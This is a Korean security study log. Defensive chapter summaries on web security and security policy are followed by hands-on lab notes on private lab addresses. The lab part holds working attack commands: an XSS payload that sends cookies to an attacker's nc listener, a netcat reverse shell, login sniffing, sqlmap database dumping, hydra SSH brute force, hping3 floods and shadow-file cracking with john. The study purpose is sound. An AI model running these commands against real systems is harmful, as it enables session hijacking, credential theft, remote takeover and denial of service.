SKS 공부 - 2025-12-29

SKS 홈으로
43회차 공부

한줄요약:
    애플리케이션 보안 - **강력한 사용자 인증**과 **역할별 접근 통제**를 바탕으로, **서버 측 입력값 검증**과 **웹 서버 설정 최적화**를 통해 웹 애플리케이션의 취약점을 원천 차단하는 통합 방어 체계를 구축하는 것이 핵심입니다. **글로벌 표준(ISO 27001/ISMS-P)**에 기반한 체계적인 **보안 정책**을 수립하고, 전문적인 **보안 조직**과 **계층별 보안 솔루션(VPN, IPS, SIEM 등)**을 유기적으로 결합하여 지속 가능한 방어 체계를 구축하는 것이 핵심입니다.

오늘 공부한 내용:
  • 
    
    
    ## 🛡️ 제09장 웹 보안과 웹 서버 보안 요약 및 인사이트
    
    ---
    
    ### 1. 사용자 인증: "누구인가?" (Who)
    
    단순 지식을 넘어 생체 정보와 심리적 영역(뇌파)까지 진화하는 인증 수단을 다룹니다.
    
    * **패스워드:** ROT13/47 등 인코딩과 파일 암호화를 통한 보관의 중요성.
    * **공인인증서(PKI):** 공개키 기반 구조의 신뢰성 확인 및 폴더 구조 이해.
    * **생체 인증:** 지문, 홍채, 얼굴 등 고유 정보를 활용하되 **FAR(오인식률)**과 **FRR(오거부률)**의 균형(EER)이 성능의 핵심.
    
    ### 2. 접근 통제: "무엇을 할 수 있는가?" (What)
    
    권한 부여의 모델링을 통해 정보의 기밀성과 무결성을 보장합니다.
    
    * **DAC(임의적):** 소유자 판단 (유닉스 권한).
    * **MAC(강제적):** 관리자 판단. 기밀성의 **Bell-LaPadula**(내려쓰기 금지), 무결성의 **Biba**(올려쓰기 금지) 모델.
    * **RBAC(역할기반):** 사람이 아닌 '직책'에 권한 부여 (실무에서 가장 많이 활용).
    
    ### 3. 입력값 검증: "안전한 데이터인가?" (How)
    
    가장 치명적인 웹 공격을 코드 레벨에서 방어하는 실무 핵심입니다.
    
    * **SQL 인젝션:** `Prepared Statement` 객체 사용이 가장 확실한 방어법.
    * **XSS:** `<`, `>` 등 특수문자를 HTML 엔티티로 치환하여 스크립트 실행 방지.
    * **필터링 전략:** **서버 측(Server-side)** 검증이 필수이며, 허용된 것만 받는 **화이트리스트** 방식이 보안상 유리.
    
    ### 4. 아파치 웹 서버 보안: "기반 시설 강화" (Base)
    
    서버 설정값 한 줄이 정보 유출을 결정합니다.
    
    * **디렉터리 리스팅 금지:** `Options -Indexes` 설정을 통해 폴더 내 파일 목록 노출 차단.
    * **심벌릭 링크 제한:** `FollowSymLinks` 설정을 주의 깊게 관리하여 시스템 파일 접근 방지.
    * **로그 관리:** `access.log`와 `error.log` 분석을 통해 공격 징후를 조기에 포착.
    
    ---
    
    ### 💡 실무 보안 인사이트: "Defense in Depth"
    
    보안은 단일 솔루션으로 해결되지 않습니다. **강력한 인증(Authentication)**으로 문을 잠그고, **접근 통제(Authorization)**로 복도를 제한하며, **입력값 검증**으로 반입 물품을 검사하고, **서버 로그**로 감시 카메라를 돌리는 **'계층적 방어(Defense in Depth)'** 체계를 구축하는 것이 웹 보안의 본질입니다.
    
    ---
    
    
    ## 🛡️ 제10장 보안정책, 조직, 솔루션 요약 및 인사이트
    
    
    ### 1. 보안 정책: 보안의 나침반
    
    보안 사고 예방의 시작은 명확한 기준을 세우는 것입니다. 정책은 상위 개념에서 하위 실행 단계로 이어지는 피라미드 구조를 가집니다.
    
    * **보안 정책 구조:** 1.  **Policy(정책):** 조직의 최상위 보안 방향 (선언적).
    2.  **Standards(표준):** 반드시 지켜야 할 기술적 기준.
    3.  **Baselines(기본선):** 최소한으로 유지해야 할 보안 수준.
    4.  **Guidelines(지침):** 권고 사항 및 방향 제시.
    5.  **Procedures(절차):** 실무 매뉴얼 (가장 구체적).
    * **글로벌/국내 표준:** 국제 표준인 **ISO 27001**과 국내 통합 인증 체계인 **ISMS-P**를 통해 기업의 보안 수준을 객관적으로 증명합니다.
    * **BYOD 보안:** 개인 기기 업무 활용이 늘어남에 따라 **VPN, MDM(기기 관리), MAM(앱 관리)** 도입이 필수적입니다.
    
    ---
    
    ### 2. 보안 조직: 보안의 엔진
    
    정책을 실행하고 감시하는 인적 자원 체계입니다.
    
    * **5-5-7 권고안:** 금융권 기준 전체 인력의 5%는 IT 인력으로, 그중 5%는 보안 인력으로, 전체 예산의 7%는 보안에 투자하도록 권고합니다.
    * **CISO(최고 정보보호 책임자):** 보안 전략을 총괄하며, 경영진과 기술팀 사이의 가교 역할을 합니다.
    * **업무 분리:** 보안 정책 수립, 시스템 운영, 감사(Audit) 조직을 분리하여 **상호 견제**가 가능하도록 구성하는 것이 핵심입니다.
    
    ---
    
    ### 3. 보안 솔루션: 보안의 방패
    
    다양한 위협 경로에 대응하기 위한 기술적 도구들입니다.
    
    | 솔루션 | 핵심 기능 | 비유 |
    | --- | --- | --- |
    | **VPN** | 암호화 터널을 통해 안전한 원격 접속 제공 | 전용 지하 통로 |
    | **IPS** | 비정상 트래픽을 실시간 탐지하고 차단 | 무장 보안 요원 |
    | **스팸 차단** | 메일 헤더/본문 필터링으로 악성 메일 차단 | 우편물 검사기 |
    | **DRM** | 문서 자체를 암호화하여 권한별 열람 통제 | 암호가 걸린 비밀 문서 |
    | **SIEM** | 다양한 로그를 통합 분석하여 이상 징후 포착 | 중앙 관제 센터 |
    
    ---
    
    ### 💡 실무 보안 인사이트: "정책 없는 솔루션은 낭비다"
    
    많은 기업이 고가의 보안 솔루션(SIEM, IPS 등)을 도입하고도 사고를 당합니다. 그 이유는 **'정책(Policy)'**이 현장 실무와 동떨어져 있거나, 이를 운영할 **'조직(Organization)'**의 전문성이 부족하기 때문입니다.
    보안 솔루션은 정책을 자동화하는 도구일 뿐입니다. **"우리 조직의 핵심 자산이 무엇인가?"**라는 질문에 대한 정책적 답이 먼저 서 있어야 비로소 솔루션이 제 성능을 발휘할 수 있습니다.
    
    ---
    
    
    
    (12.29)
    XSS 공격으로 세션을 탈취해 보자.
    nginx에 httpOnly 옵션 끄기 (설정 오류)
    vi /etc/nginx/sites-available/default
    proxy_cookie_flags ~ httponly off;
    
    공격자 탈취서버 구동 (nc)
    while :; do nc -l -p 80 >> /tmp/hack.log; done
    
    게시판에 민원글 남기기
    <SCRIPT>
         location.href="http://192.168.186.128/?data="+document.cookie;
    </script>
    
    세션탈취 확인하기
    tail -f /tmp/hack.log
    
    
    서버쪽에서 로그인하는 사용자들의 입력정보를 스니핑 해보자.
    공격자가 어찌어찌 서버 쉘을 얻었다.
    tcpdump -i ens33 -A -s 0 'tcp port 80'
    -> tcpdump는 스트림으로, 종료전 문자열을 grep으로 넘기지 못한다. 다음을 추천!
    
    ngrep -q -d ens33 'POST /login.jsp' port 80
    
    
    sqlmap을 써보자.
    (공격자) 
    sqlmap -u "http://WEB_SERVER_IP/login.jsp" --dbs --current-user --tables --forms --batch -D cloud_db --dump
    
    nikto
    nikto -h http://192.168.186.131
    
    nmap
    nmap -sV 192.168.186.131
    
    
    * 무작위 대입공격(ssh)
    hydra -l admin -P rockyou.txt ssh://192.168.56.101
    
    (관제) tail -f /var/log/auth.log
    
    * 리버스쉘
    (공격자 서버) nc -lvnp 4444
    
    (희생자)
    sudo apt install netcat-traditional -y
    nc.traditional 192.168.186.133 4444 -e /bin/bash
    
    * 숨겨진 디렉토리 탐색(/admin, /backup, 등)
    gobuster dir -u http://192.168.56.101 -w common.txt
    (/usr/share/seclists/Discovery/Web-Content/common.txt)
    (/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt)
    
    * 사이트 복제
    # 기본 사용법
    httrack https://example.com -O "C:\websites\example" "+*.example.com/*" -v
    
    
    
    # -O : 출력 디렉토리
    # "+*.example.com/*" : 특정 도메인만 다운로드
    # -v : 상세 모드
    
    
    * ddos
    # SYN 플러드 테스트 
    hping3 -S -p 80 --flood --rand-source [자신의_서버_IP]
    
    # UDP 패킷 테스트
    hping3 --udp -p 53 --flood [자신의_서버_IP]
    
    # ICMP 패킷 테스트
    hping3 --icmp --flood [자신의_서버_IP]
    
    * john the ripper
    apt install john -y
    # shadow 파일을 크랙하기 위한 준비 (테스트 환경에서)
    # unshadow 유틸리티로 passwd와 shadow 파일 결합
    sudo unshadow /etc/passwd /etc/shadow > mypasswd.txt
    
    # John으로 암호 크랙 시도
    john mypasswd.txt -w=./rockyou.txt
    
    # John으로 암호 크랙 시도 2
    john -format=crypt mypasswd
    
    # 크랙된 암호 보기
    john --show mypasswd.txt